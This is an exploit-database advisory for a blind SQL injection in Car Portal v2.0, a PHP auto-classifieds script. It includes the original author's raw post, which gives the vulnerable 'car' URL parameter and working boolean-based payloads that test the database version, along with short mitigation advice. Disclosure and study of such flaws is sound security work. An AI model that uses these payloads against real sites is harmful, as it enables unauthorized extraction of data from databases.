Car Portal v2.0 BLIND SQL Injection Vulnerability

vendor:

Car Portal

by:

RoAd_KiLlEr

7,5

CVSS

HIGH

BLIND SQL Injection

CWE

Product Name: Car Portal

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: NO

Related CWE: N/A

CPE: a:netartmedia:car_portal:2.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win Xp Sp 2/3

2020

Car Portal v2.0 BLIND SQL Injection Vulnerability

Car Portal is a web solution written in PHP and it uses a MySQL database for storing the data. An attacker can exploit a Blind SQL Injection vulnerability in Car Portal v2.0 by sending a malicious payload to the vulnerable parameter 'car' in the URL. This can allow the attacker to extract data from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

[+]Title                Car Portal v2.0  BLIND SQL Injection Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact        RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on     Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://inj3ct0r.com/author/2447
[~] Version: 2.0
[~] Price: $599.00 <== {This is Crazyyy}
[~] Vendor: http://www.netartmedia.net/carsportal/
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
Car Portal is a software solution for running auto classifieds portals. It provides functionality for the private sellers to signup, list their car for sale and make changes in their ads online using the private sellers administration space. The product provides special functionalities for the dealers to work and manage multiple ads. An affiliate functionality is also included, affiliate partners may signup and earn commissions on all the sales done through their links. The product comes with a very powerful back office application for the administrators, allowing them not only to manage the cars portal settings, the dealers, affiliates etc. but also providing them full control over the website, its structure and content, statistics, search engines functionality and many others. 

What technology is used for Car Portal? 
Car Portal is a web solution written in PHP and it uses a MySQL database for storing the data. In order to run it on your server/hosting package you need both PHP and MySQL running and also mod_rewrite (if you plan to use the functionality for SEO links, it can be turned off if this module isn't present).

=========================================



[+].  Blind SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+


[P0C]:  http://127.0.0.1//autoportal10/index.php?page=en_Home&car=[Blind SQL Injection] 




[L!ve Demo]:  http://server/autoportal10/index.php?page=en_Home&car=110+and+substring(version(),1,1)=5   => True
                    http://server/autoportal10/index.php?page=en_Home&car=110+and+substring(version(),1,1)=4   => False






===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t  | The|DennY` | EaglE EyE  | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka | Sid3^effects| L0rd CruSad3r |SONIC | All Inj3ct0r 31337 Members | And All My Friends
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================